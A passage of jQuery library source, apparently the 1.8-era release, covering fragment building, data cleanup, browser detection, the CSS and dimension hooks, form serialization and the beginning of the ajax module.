div.firstChild && div.firstChild.childNodes :
// String was a bare <thead> or <tfoot>
wrap[1] === "<table>" && !hasBody ?
div.childNodes :
[];
for ( j = tbody.length - 1; j >= 0 ; --j ) {
if ( jQuery.nodeName( tbody[ j ], "tbody" ) && !tbody[ j ].childNodes.length ) {
tbody[ j ].parentNode.removeChild( tbody[ j ] );
}
}
}
// IE completely kills leading whitespace when innerHTML is used
if ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {
div.insertBefore( context.createTextNode( rleadingWhitespace.exec(elem)[0] ), div.firstChild );
}
elem = div.childNodes;
// Remember the top-level container for proper cleanup
div = safe.lastChild;
}
}
if ( elem.nodeType ) {
ret.push( elem );
} else {
ret = jQuery.merge( ret, elem );
}
}
// Fix #11356: Clear elements from safeFragment
if ( div ) {
safe.removeChild( div );
elem = div = safe = null;
}
// Reset defaultChecked for any radios and checkboxes
// about to be appended to the DOM in IE 6/7 (#8060)
if ( !jQuery.support.appendChecked ) {
for ( i = 0; (elem = ret[i]) != null; i++ ) {
if ( jQuery.nodeName( elem, "input" ) ) {
fixDefaultChecked( elem );
} else if ( typeof elem.getElementsByTagName !== "undefined" ) {
jQuery.grep( elem.getElementsByTagName("input"), fixDefaultChecked );
}
}
}
// Append elements to a provided document fragment
if ( fragment ) {
// Special handling of each script element
handleScript = function( elem ) {
// Check if we consider it executable
if ( !elem.type || rscriptType.test( elem.type ) ) {
// Detach the script and store it in the scripts array (if provided) or the fragment
// Return truthy to indicate that it has been handled
return scripts ?
scripts.push( elem.parentNode ? elem.parentNode.removeChild( elem ) : elem ) :
fragment.appendChild( elem );
}
};
for ( i = 0; (elem = ret[i]) != null; i++ ) {
// Check if we're done after handling an executable script
if ( !( jQuery.nodeName( elem, "script" ) && handleScript( elem ) ) ) {
// Append to fragment and handle embedded scripts
fragment.appendChild( elem );
if ( typeof elem.getElementsByTagName !== "undefined" ) {
// handleScript alters the DOM, so use jQuery.merge to ensure snapshot iteration
jsTags = jQuery.grep( jQuery.merge( [], elem.getElementsByTagName("script") ), handleScript );
// Splice the scripts into ret after their former ancestor and advance our index beyond them
ret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );
i += jsTags.length;
}
}
}
}
return ret;
},
cleanData: function( elems, /* internal */ acceptData ) {
var data, id, elem, type,
i = 0,
internalKey = jQuery.expando,
cache = jQuery.cache,
deleteExpando = jQuery.support.deleteExpando,
special = jQuery.event.special;
for ( ; (elem = elems[i]) != null; i++ ) {
if ( acceptData || jQuery.acceptData( elem ) ) {
id = elem[ internalKey ];
data = id && cache[ id ];
if ( data ) {
if ( data.events ) {
for ( type in data.events ) {
if ( special[ type ] ) {
jQuery.event.remove( elem, type );
// This is a shortcut to avoid jQuery.event.remove's overhead
} else {
jQuery.removeEvent( elem, type, data.handle );
}
}
}
// Remove cache only if it was not already removed by jQuery.event.remove
if ( cache[ id ] ) {
delete cache[ id ];
// IE does not allow us to delete expando properties from nodes,
// nor does it have a removeAttribute function on Document nodes;
// we must handle all of these cases
if ( deleteExpando ) {
delete elem[ internalKey ];
} else if ( elem.removeAttribute ) {
elem.removeAttribute( internalKey );
} else {
elem[ internalKey ] = null;
}
jQuery.deletedIds.push( id );
}
}
}
}
}
});
// Limit scope pollution from any deprecated API
(function() {
var matched, browser;
// Use of jQuery.browser is frowned upon.
// More details: http://api.jquery.com/jQuery.browser
// jQuery.uaMatch maintained for back-compat
jQuery.uaMatch = function( ua ) {
ua = ua.toLowerCase();
var match = /(chrome)[ \/]([\w.]+)/.exec( ua ) ||
/(webkit)[ \/]([\w.]+)/.exec( ua ) ||
/(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) ||
/(msie) ([\w.]+)/.exec( ua ) ||
ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) ||
[];
return {
browser: match[ 1 ] || "",
version: match[ 2 ] || "0"
};
};
matched = jQuery.uaMatch( navigator.userAgent );
browser = {};
if ( matched.browser ) {
browser[ matched.browser ] = true;
browser.version = matched.version;
}
// Deprecated, use jQuery.browser.webkit instead
// Maintained for back-compat only
if ( browser.webkit ) {
browser.safari = true;
}
jQuery.browser = browser;
jQuery.sub = function() {
function jQuerySub( selector, context ) {
return new jQuerySub.fn.init( selector, context );
}
jQuery.extend( true, jQuerySub, this );
jQuerySub.superclass = this;
jQuerySub.fn = jQuerySub.prototype = this();
jQuerySub.fn.constructor = jQuerySub;
jQuerySub.sub = this.sub;
jQuerySub.fn.init = function init( selector, context ) {
if ( context && context instanceof jQuery && !(context instanceof jQuerySub) ) {
context = jQuerySub( context );
}
return jQuery.fn.init.call( this, selector, context, rootjQuerySub );
};
jQuerySub.fn.init.prototype = jQuerySub.fn;
var rootjQuerySub = jQuerySub(document);
return jQuerySub;
};
})();
var curCSS, iframe, iframeDoc,
ralpha = /alpha\([^)]*\)/i,
ropacity = /opacity=([^)]*)/,
rposition = /^(top|right|bottom|left)$/,
rmargin = /^margin/,
rnumsplit = new RegExp( "^(" + core_pnum + ")(.*)$", "i" ),
rnumnonpx = new RegExp( "^(" + core_pnum + ")(?!px)[a-z%]+$", "i" ),
rrelNum = new RegExp( "^([-+])=(" + core_pnum + ")", "i" ),
elemdisplay = {},
cssShow = { position: "absolute", visibility: "hidden", display: "block" },
cssNormalTransform = {
letterSpacing: 0,
fontWeight: 400,
lineHeight: 1
},
cssExpand = [ "Top", "Right", "Bottom", "Left" ],
cssPrefixes = [ "Webkit", "O", "Moz", "ms" ],
eventsToggle = jQuery.fn.toggle;
// return a css property mapped to a potentially vendor prefixed property
function vendorPropName( style, name ) {
// shortcut for names that are not vendor prefixed
if ( name in style ) {
return name;
}
// check for vendor prefixed names
var capName = name.charAt(0).toUpperCase() + name.slice(1),
origName = name,
i = cssPrefixes.length;
while ( i-- ) {
name = cssPrefixes[ i ] + capName;
if ( name in style ) {
return name;
}
}
return origName;
}
function isHidden( elem, el ) {
elem = el || elem;
return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem );
}
function showHide( elements, show ) {
var elem, display,
values = [],
index = 0,
length = elements.length;
for ( ; index < length; index++ ) {
elem = elements[ index ];
if ( !elem.style ) {
continue;
}
values[ index ] = jQuery._data( elem, "olddisplay" );
if ( show ) {
// Reset the inline display of this element to learn if it is
// being hidden by cascaded rules or not
if ( !values[ index ] && elem.style.display === "none" ) {
elem.style.display = "";
}
// Set elements which have been overridden with display: none
// in a stylesheet to whatever the default browser style is
// for such an element
if ( elem.style.display === "" && isHidden( elem ) ) {
values[ index ] = jQuery._data( elem, "olddisplay", css_defaultDisplay(elem.nodeName) );
}
} else {
display = curCSS( elem, "display" );
if ( !values[ index ] && display !== "none" ) {
jQuery._data( elem, "olddisplay", display );
}
}
}
// Set the display of most of the elements in a second loop
// to avoid the constant reflow
for ( index = 0; index < length; index++ ) {
elem = elements[ index ];
if ( !elem.style ) {
continue;
}
if ( !show || elem.style.display === "none" || elem.style.display === "" ) {
elem.style.display = show ? values[ index ] || "" : "none";
}
}
return elements;
}
jQuery.fn.extend({
css: function( name, value ) {
return jQuery.access( this, function( elem, name, value ) {
return value !== undefined ?
jQuery.style( elem, name, value ) :
jQuery.css( elem, name );
}, name, value, arguments.length > 1 );
},
show: function() {
return showHide( this, true );
},
hide: function() {
return showHide( this );
},
toggle: function( state, fn2 ) {
var bool = typeof state === "boolean";
if ( jQuery.isFunction( state ) && jQuery.isFunction( fn2 ) ) {
return eventsToggle.apply( this, arguments );
}
return this.each(function() {
if ( bool ? state : isHidden( this ) ) {
jQuery( this ).show();
} else {
jQuery( this ).hide();
}
});
}
});
jQuery.extend({
// Add in style property hooks for overriding the default
// behavior of getting and setting a style property
cssHooks: {
opacity: {
get: function( elem, computed ) {
if ( computed ) {
// We should always get a number back from opacity
var ret = curCSS( elem, "opacity" );
return ret === "" ? "1" : ret;
}
}
}
},
// Exclude the following css properties to add px
cssNumber: {
"fillOpacity": true,
"fontWeight": true,
"lineHeight": true,
"opacity": true,
"orphans": true,
"widows": true,
"zIndex": true,
"zoom": true
},
// Add in properties whose names you wish to fix before
// setting or getting the value
cssProps: {
// normalize float css property
"float": jQuery.support.cssFloat ? "cssFloat" : "styleFloat"
},
// Get and set the style property on a DOM Node
style: function( elem, name, value, extra ) {
// Don't set styles on text and comment nodes
if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
return;
}
// Make sure that we're working with the right name
var ret, type, hooks,
origName = jQuery.camelCase( name ),
style = elem.style;
name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) );
// gets hook for the prefixed version
// followed by the unprefixed version
hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
// Check if we're setting a value
if ( value !== undefined ) {
type = typeof value;
// convert relative number strings (+= or -=) to relative numbers. #7345
if ( type === "string" && (ret = rrelNum.exec( value )) ) {
value = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) );
// Fixes bug #9237
type = "number";
}
// Make sure that NaN and null values aren't set. See: #7116
if ( value == null || type === "number" && isNaN( value ) ) {
return;
}
// If a number was passed in, add 'px' to the (except for certain CSS properties)
if ( type === "number" && !jQuery.cssNumber[ origName ] ) {
value += "px";
}
// If a hook was provided, use that value, otherwise just set the specified value
if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) {
// Wrapped to prevent IE from throwing errors when 'invalid' values are provided
// Fixes bug #5509
try {
style[ name ] = value;
} catch(e) {}
}
} else {
// If a hook was provided get the non-computed value from there
if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {
return ret;
}
// Otherwise just get the value from the style object
return style[ name ];
}
},
css: function( elem, name, numeric, extra ) {
var val, num, hooks,
origName = jQuery.camelCase( name );
// Make sure that we're working with the right name
name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) );
// gets hook for the prefixed version
// followed by the unprefixed version
hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
// If a hook was provided get the computed value from there
if ( hooks && "get" in hooks ) {
val = hooks.get( elem, true, extra );
}
// Otherwise, if a way to get the computed value exists, use that
if ( val === undefined ) {
val = curCSS( elem, name );
}
//convert "normal" to computed value
if ( val === "normal" && name in cssNormalTransform ) {
val = cssNormalTransform[ name ];
}
// Return, converting to number if forced or a qualifier was provided and val looks numeric
if ( numeric || extra !== undefined ) {
num = parseFloat( val );
return numeric || jQuery.isNumeric( num ) ? num || 0 : val;
}
return val;
},
// A method for quickly swapping in/out CSS properties to get correct calculations
swap: function( elem, options, callback ) {
var ret, name,
old = {};
// Remember the old values, and insert the new ones
for ( name in options ) {
old[ name ] = elem.style[ name ];
elem.style[ name ] = options[ name ];
}
ret = callback.call( elem );
// Revert the old values
for ( name in options ) {
elem.style[ name ] = old[ name ];
}
return ret;
}
});
// NOTE: To any future maintainer, we've used both window.getComputedStyle
// and getComputedStyle here to produce a better gzip size
if ( window.getComputedStyle ) {
curCSS = function( elem, name ) {
var ret, width, minWidth, maxWidth,
computed = getComputedStyle( elem, null ),
style = elem.style;
if ( computed ) {
ret = computed[ name ];
if ( ret === "" && !jQuery.contains( elem.ownerDocument.documentElement, elem ) ) {
ret = jQuery.style( elem, name );
}
// A tribute to the "awesome hack by Dean Edwards"
// Chrome < 17 and Safari 5.0 uses "computed value" instead of "used value" for margin-right
// Safari 5.1.7 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels
// this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values
if ( rnumnonpx.test( ret ) && rmargin.test( name ) ) {
width = style.width;
minWidth = style.minWidth;
maxWidth = style.maxWidth;
style.minWidth = style.maxWidth = style.width = ret;
ret = computed.width;
style.width = width;
style.minWidth = minWidth;
style.maxWidth = maxWidth;
}
}
return ret;
};
} else if ( document.documentElement.currentStyle ) {
curCSS = function( elem, name ) {
var left, rsLeft,
ret = elem.currentStyle && elem.currentStyle[ name ],
style = elem.style;
// Avoid setting ret to empty string here
// so we don't default to auto
if ( ret == null && style && style[ name ] ) {
ret = style[ name ];
}
// From the awesome hack by Dean Edwards
// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
// If we're not dealing with a regular pixel number
// but a number that has a weird ending, we need to convert it to pixels
// but not position css attributes, as those are proportional to the parent element instead
// and we can't measure the parent instead because it might trigger a "stacking dolls" problem
if ( rnumnonpx.test( ret ) && !rposition.test( name ) ) {
// Remember the original values
left = style.left;
rsLeft = elem.runtimeStyle && elem.runtimeStyle.left;
// Put in the new values to get a computed value out
if ( rsLeft ) {
elem.runtimeStyle.left = elem.currentStyle.left;
}
style.left = name === "fontSize" ? "1em" : ret;
ret = style.pixelLeft + "px";
// Revert the changed values
style.left = left;
if ( rsLeft ) {
elem.runtimeStyle.left = rsLeft;
}
}
return ret === "" ? "auto" : ret;
};
}
function setPositiveNumber( elem, value, subtract ) {
var matches = rnumsplit.exec( value );
return matches ?
Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) :
value;
}
function augmentWidthOrHeight( elem, name, extra, isBorderBox ) {
var i = extra === ( isBorderBox ? "border" : "content" ) ?
// If we already have the right measurement, avoid augmentation
4 :
// Otherwise initialize for horizontal or vertical properties
name === "width" ? 1 : 0,
val = 0;
for ( ; i < 4; i += 2 ) {
// both box models exclude margin, so add it if we want it
if ( extra === "margin" ) {
// we use jQuery.css instead of curCSS here
// because of the reliableMarginRight CSS hook!
val += jQuery.css( elem, extra + cssExpand[ i ], true );
}
// From this point on we use curCSS for maximum performance (relevant in animations)
if ( isBorderBox ) {
// border-box includes padding, so remove it if we want content
if ( extra === "content" ) {
val -= parseFloat( curCSS( elem, "padding" + cssExpand[ i ] ) ) || 0;
}
// at this point, extra isn't border nor margin, so remove border
if ( extra !== "margin" ) {
val -= parseFloat( curCSS( elem, "border" + cssExpand[ i ] + "Width" ) ) || 0;
}
} else {
// at this point, extra isn't content, so add padding
val += parseFloat( curCSS( elem, "padding" + cssExpand[ i ] ) ) || 0;
// at this point, extra isn't content nor padding, so add border
if ( extra !== "padding" ) {
val += parseFloat( curCSS( elem, "border" + cssExpand[ i ] + "Width" ) ) || 0;
}
}
}
return val;
}
function getWidthOrHeight( elem, name, extra ) {
// Start with offset property, which is equivalent to the border-box value
var val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
valueIsBorderBox = true,
isBorderBox = jQuery.support.boxSizing && jQuery.css( elem, "boxSizing" ) === "border-box";
if ( val <= 0 ) {
// Fall back to computed then uncomputed css if necessary
val = curCSS( elem, name );
if ( val < 0 || val == null ) {
val = elem.style[ name ];
}
// Computed unit is not pixels. Stop here and return.
if ( rnumnonpx.test(val) ) {
return val;
}
// we need the check for style in case a browser which returns unreliable values
// for getComputedStyle silently falls back to the reliable elem.style
valueIsBorderBox = isBorderBox && ( jQuery.support.boxSizingReliable || val === elem.style[ name ] );
// Normalize "", auto, and prepare for extra
val = parseFloat( val ) || 0;
}
// use the active box-sizing model to add/subtract irrelevant styles
return ( val +
augmentWidthOrHeight(
elem,
name,
extra || ( isBorderBox ? "border" : "content" ),
valueIsBorderBox
)
) + "px";
}
// Try to determine the default display value of an element
function css_defaultDisplay( nodeName ) {
if ( elemdisplay[ nodeName ] ) {
return elemdisplay[ nodeName ];
}
var elem = jQuery( "<" + nodeName + ">" ).appendTo( document.body ),
display = elem.css("display");
elem.remove();
// If the simple way fails,
// get element's real default display by attaching it to a temp iframe
if ( display === "none" || display === "" ) {
// Use the already-created iframe if possible
iframe = document.body.appendChild(
iframe || jQuery.extend( document.createElement("iframe"), {
frameBorder: 0,
width: 0,
height: 0
})
);
// Create a cacheable copy of the iframe document on first call.
// IE and Opera will allow us to reuse the iframeDoc without re-writing the fake HTML
// document to it; WebKit & Firefox won't allow reusing the iframe document.
if ( !iframeDoc || !iframe.createElement ) {
iframeDoc = ( iframe.contentWindow || iframe.contentDocument ).document;
iframeDoc.write("<!doctype html><html><body>");
iframeDoc.close();
}
elem = iframeDoc.body.appendChild( iframeDoc.createElement(nodeName) );
display = curCSS( elem, "display" );
document.body.removeChild( iframe );
}
// Store the correct default display
elemdisplay[ nodeName ] = display;
return display;
}
jQuery.each([ "height", "width" ], function( i, name ) {
jQuery.cssHooks[ name ] = {
get: function( elem, computed, extra ) {
if ( computed ) {
if ( elem.offsetWidth !== 0 || curCSS( elem, "display" ) !== "none" ) {
return getWidthOrHeight( elem, name, extra );
} else {
return jQuery.swap( elem, cssShow, function() {
return getWidthOrHeight( elem, name, extra );
});
}
}
},
set: function( elem, value, extra ) {
return setPositiveNumber( elem, value, extra ?
augmentWidthOrHeight(
elem,
name,
extra,
jQuery.support.boxSizing && jQuery.css( elem, "boxSizing" ) === "border-box"
) : 0
);
}
};
});
if ( !jQuery.support.opacity ) {
jQuery.cssHooks.opacity = {
get: function( elem, computed ) {
// IE uses filters for opacity
return ropacity.test( (computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "" ) ?
( 0.01 * parseFloat( RegExp.$1 ) ) + "" :
computed ? "1" : "";
},
set: function( elem, value ) {
var style = elem.style,
currentStyle = elem.currentStyle,
opacity = jQuery.isNumeric( value ) ? "alpha(opacity=" + value * 100 + ")" : "",
filter = currentStyle && currentStyle.filter || style.filter || "";
// IE has trouble with opacity if it does not have layout
// Force it by setting the zoom level
style.zoom = 1;
// if setting opacity to 1, and no other filters exist - attempt to remove filter attribute #6652
if ( value >= 1 && jQuery.trim( filter.replace( ralpha, "" ) ) === "" &&
style.removeAttribute ) {
// Setting style.filter to null, "" & " " still leave "filter:" in the cssText
// if "filter:" is present at all, clearType is disabled, we want to avoid this
// style.removeAttribute is IE Only, but so apparently is this code path...
style.removeAttribute( "filter" );
// if there there is no filter style applied in a css rule, we are done
if ( currentStyle && !currentStyle.filter ) {
return;
}
}
// otherwise, set new filter values
style.filter = ralpha.test( filter ) ?
filter.replace( ralpha, opacity ) :
filter + " " + opacity;
}
};
}
// These hooks cannot be added until DOM ready because the support test
// for it is not run until after DOM ready
jQuery(function() {
if ( !jQuery.support.reliableMarginRight ) {
jQuery.cssHooks.marginRight = {
get: function( elem, computed ) {
// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
// Work around by temporarily setting element display to inline-block
return jQuery.swap( elem, { "display": "inline-block" }, function() {
if ( computed ) {
return curCSS( elem, "marginRight" );
}
});
}
};
}
// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
// getComputedStyle returns percent when specified for top/left/bottom/right
// rather than make the css module depend on the offset module, we just check for it here
if ( !jQuery.support.pixelPosition && jQuery.fn.position ) {
jQuery.each( [ "top", "left" ], function( i, prop ) {
jQuery.cssHooks[ prop ] = {
get: function( elem, computed ) {
if ( computed ) {
var ret = curCSS( elem, prop );
// if curCSS returns percentage, fallback to offset
return rnumnonpx.test( ret ) ? jQuery( elem ).position()[ prop ] + "px" : ret;
}
}
};
});
}
});
if ( jQuery.expr && jQuery.expr.filters ) {
jQuery.expr.filters.hidden = function( elem ) {
return ( elem.offsetWidth === 0 && elem.offsetHeight === 0 ) || (!jQuery.support.reliableHiddenOffsets && ((elem.style && elem.style.display) || curCSS( elem, "display" )) === "none");
};
jQuery.expr.filters.visible = function( elem ) {
return !jQuery.expr.filters.hidden( elem );
};
}
// These hooks are used by animate to expand properties
jQuery.each({
margin: "",
padding: "",
border: "Width"
}, function( prefix, suffix ) {
jQuery.cssHooks[ prefix + suffix ] = {
expand: function( value ) {
var i,
// assumes a single number if not a string
parts = typeof value === "string" ? value.split(" ") : [ value ],
expanded = {};
for ( i = 0; i < 4; i++ ) {
expanded[ prefix + cssExpand[ i ] + suffix ] =
parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
}
return expanded;
}
};
if ( !rmargin.test( prefix ) ) {
jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
}
});
var r20 = /%20/g,
rbracket = /\[\]$/,
rCRLF = /\r?\n/g,
rinput = /^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,
rselectTextarea = /^(?:select|textarea)/i;
jQuery.fn.extend({
serialize: function() {
return jQuery.param( this.serializeArray() );
},
serializeArray: function() {
return this.map(function(){
return this.elements ? jQuery.makeArray( this.elements ) : this;
})
.filter(function(){
return this.name && !this.disabled &&
( this.checked || rselectTextarea.test( this.nodeName ) ||
rinput.test( this.type ) );
})
.map(function( i, elem ){
var val = jQuery( this ).val();
return val == null ?
null :
jQuery.isArray( val ) ?
jQuery.map( val, function( val, i ){
return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
}) :
{ name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
}).get();
}
});
//Serialize an array of form elements or a set of
//key/values into a query string
jQuery.param = function( a, traditional ) {
var prefix,
s = [],
add = function( key, value ) {
// If value is a function, invoke it and return its value
value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value );
s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
};
// Set traditional to true for jQuery <= 1.3.2 behavior.
if ( traditional === undefined ) {
traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;
}
// If an array was passed in, assume that it is an array of form elements.
if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
// Serialize the form elements
jQuery.each( a, function() {
add( this.name, this.value );
});
} else {
// If traditional, encode the "old" way (the way 1.3.2 or older
// did it), otherwise encode params recursively.
for ( prefix in a ) {
buildParams( prefix, a[ prefix ], traditional, add );
}
}
// Return the resulting serialization
return s.join( "&" ).replace( r20, "+" );
};
function buildParams( prefix, obj, traditional, add ) {
var name;
if ( jQuery.isArray( obj ) ) {
// Serialize array item.
jQuery.each( obj, function( i, v ) {
if ( traditional || rbracket.test( prefix ) ) {
// Treat each array item as a scalar.
add( prefix, v );
} else {
// If array item is non-scalar (array or object), encode its
// numeric index to resolve deserialization ambiguity issues.
// Note that rack (as of 1.0.0) can't currently deserialize
// nested arrays properly, and attempting to do so may cause
// a server error. Possible fixes are to modify rack's
// deserialization algorithm or to provide an option or flag
// to force array serialization to be shallow.
buildParams( prefix + "[" + ( typeof v === "object" ? i : "" ) + "]", v, traditional, add );
}
});
} else if ( !traditional && jQuery.type( obj ) === "object" ) {
// Serialize object item.
for ( name in obj ) {
buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
}
} else {
// Serialize scalar item.
add( prefix, obj );
}
}
var // Document location
ajaxLocation,
// Document location segments
ajaxLocParts,
rhash = /#.*$/,
rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg, // IE leaves an \r character at EOL
// #7653, #8125, #8152: local protocol detection
rlocalProtocol = /^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,
rnoContent = /^(?:GET|HEAD)$/,
rprotocol = /^\/\//,
rquery = /\?/,
rscript = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
rts = /([?&])_=[^&]*/,
rurl = /^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,
// Keep a copy of the old load method
_load = jQuery.fn.load,
/* Prefilters
* 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
* 2) These are called:
* - BEFORE asking for a transport
* - AFTER param serialization (s.data is a string if s.processData is true)
* 3) key is the dataType
* 4) the catchall symbol "*" can be used
* 5) execution will start with transport dataType and THEN continue down to "*" if needed
*/
prefilters = {},
/* Transports bindings
* 1) key is the dataType
* 2) the catchall symbol "*" can be used
* 3) selection will start with transport dataType and THEN go to "*" if needed
*/
transports = {},
// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
allTypes = ["*/"] + ["*"];
// #8138, IE may throw an exception when accessing
// a field from window.location if document.domain has been set
try {
ajaxLocation = location.href;
} catch( e ) {
// Use the href attribute of an A element
// since IE will modify it given document.location
ajaxLocation = document.createElement( "a" );
ajaxLocation.href = "";
ajaxLocation = ajaxLocation.href;
}
// Segment location into parts
ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];
// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
function addToPrefiltersOrTransports( structure ) {
// dataTypeExpression is optional and defaults to "*"
return function( dataTypeExpression, func ) {
if ( typeof dataTypeExpression !== "string" ) {
func = dataTypeExpression;
dataTypeExpression = "*";
}
var dataType, list, placeBefore,
dataTypes = dataTypeExpression.toLowerCase().split( core_rspace ),
i = 0,
length = dataTypes.length;
if ( jQuery.isFunction( func ) ) {
// For each dataType in the dataTypeExpression
for ( ; i < length; i++ ) {
dataType = dataTypes[ i ];
// We control if we're asked to add before
// any existing element
placeBefore = /^\+/.test( dataType );
if ( placeBefore ) {
dataType = dataType.substr( 1 ) || "*";
}
list = structure[ dataType ] = structure[ dataType ] || [];
// then we add to the structure accordingly
list[ placeBefore ? "unshift" : "push" ]( func );
}
}
};
}
// Base inspection function for prefilters and transports
function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR,
dataType /* internal */, inspected /* internal */ ) {
dataType = dataType || options.dataTypes[ 0 ];
inspected = inspected || {};
inspected[ dataType ] = true;
var selection,
list = structure[ dataType ],
i = 0,
length = list ? list.length : 0,
executeOnly = ( structure === prefilters );
for ( ; i < length && ( executeOnly || !selection ); i++ ) {
selection = list[ i ]( options, originalOptions, jqXHR );
// If we got redirected to another dataType
// we try there if executing only and not done already
if ( typeof selection === "string" ) {
if ( !executeOnly || inspected[ selection ] ) {
selection = undefined;
} else {
options.dataTypes.unshift( selection );
selection = inspectPrefiltersOrTransports(
structure, options, originalOptions, jqXHR, selection, inspected );
}
}
}
// If we're only executing or nothing was selected
// we try the catchall dataType if not done already
if ( ( executeOnly || !selection ) && !inspected[ "*" ] ) {
selection = inspectPrefiltersOrTransports(
structure, options, originalOptions, jqXHR, "*", inspected );
}
// unnecessary when only executing (prefilters)
// but it'll be ignored by the caller in that case
return selection;
}
// A special extend for ajax options
// that takes "flat" options (not to be deep extended)
// Fixes #9887
function ajaxExtend( target, src ) {
var key, deep,
flatOptions = jQuery.ajaxSettings.flatOptions || {};
for ( key in src ) {
if ( src[ key ] !== undefined ) {
( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];
}
}
if ( deep ) {
jQuery.extend( true, target, deep );
}
}
jQuery.fn.load = function( url, params, callback ) {
if ( typeof url !== "string" && _load ) {
return _load.apply( this, arguments );
}
// Don't do a request if no elements are being requested
if ( !this.length ) {
return this;
}
var selector, type, response,
self = this,
off = url.indexOf(" ");
if ( off >= 0 ) {
selector = url.slice( off, url.length );
url = url.slice( 0, off );
}
// If it's a function
if ( jQuery.isFunction( params ) ) {
// We assume that it's the callback
callback = params;
params = undefined;
// Otherwise, build a param string
} else if ( typeof params === "object" ) {
type = "POST";
}
// Request the remote document
jQuery.ajax({
url: url,
// if "type" variable is undefined, then "GET" method will be used
type: type,
dataType: "html",
data: params,
complete: function( jqXHR, status ) {
if ( callback ) {
self.each( callback, response || [ jqXHR.responseText, status, jqXHR ] );
}
}
}).done(function( responseText ) {
// Save response for use in complete callback
response = arguments;
// See if a selector was specified
self.html( selector ?
// Create a dummy div to hold the results
jQuery("<div>")
// inject the contents of the document in, removing the scripts
// to avoid any 'Permission Denied' errors in IE
.append( responseText.replace( rscript, "" ) )
// Locate the specified elements
.find( selector ) :
// If not, just inject the full result
responseText );
});
return this;
};
// Attach a bunch of functions for handling common AJAX events
jQuery.each( "ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split( " " ), function( i, o ){
jQuery.fn[ o ] = function( f ){
return this.on( o, f );
};
});
jQuery.each( [ "get", "post" ], function( i, method ) {
jQuery[ method ] = function( url, data, callback, type ) {
// shift arguments if data argument was omitted
if ( jQuery.isFunction( data ) ) {
type = type || callback;
callback = data;
data = undefined;
}
return jQuery.ajax({
type: method,
url: url,
data: data,
success: callback,
dataType: type
});
};
});
jQuery.extend({
getScript: function( url, callback ) {
return jQuery.get( url, undefined, callback, "script" );
},
getJSON: function( url, data, callback ) {
return jQuery.get( url, data, callback, "json" );
},
// Creates a full fledged settings object into target
// with both ajaxSettings and settings fields.
// If target is omitted, writes into ajaxSettings.
ajaxSetup: function( target, settings ) {
if ( settings ) {
// Building a settings object
ajaxExtend( target, jQuery.ajaxSettings );
} else {
// Extending ajaxSettings
settings = target;
target = jQuery.ajaxSettings;
}
ajaxExtend( target, settings );
return target;
},
ajaxSettings: {
url: ajaxLocation,
isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),
global: true,
type: "GET",
contentType: "application/x-www-form-urlencoded; charset=UTF-8",
processData: true,
async: true,
/*
timeout: 0,
data: null,
dataType: null,
username: null,
password: null,
cache: null,
throws: false,
traditional: false,
headers: {},
*/
accepts: {
xml: "application/xml, text/xml",
html: "text/html",
text: "text/plain",
json: "application/json, text/javascript",
"*": allTypes
},
contents: {
xml: /xml/,
html: /html/,
json: /json/
},
responseFields: {
xml: "responseXML",
text: "responseText"
},
// List of data converters
// 1) key format is "source_type destination_type" (a single space in-between)
// 2) the catchall symbol "*" can be used for source_type
converters: {
// Convert anything to text
"* text": window.String,
// Text to html (true = no transformation)
"text html": true,
// Evaluate text as a json expression
"text json": jQuery.parseJSON,
// Parse text as xml
"text xml": jQuery.parseXML
},
// For options that shouldn't be deep extended:
// you can add your own custom options here if
// and when you create one that shouldn't be
// deep extended (see ajaxExtend)
flatOptions: {
context: true,
url: true
}
},
ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
ajaxTransport: addToPrefiltersOrTransports( transports ),
// Main method
ajax: function( url, options ) {
// If url is an object, simulate pre-1.5 signature
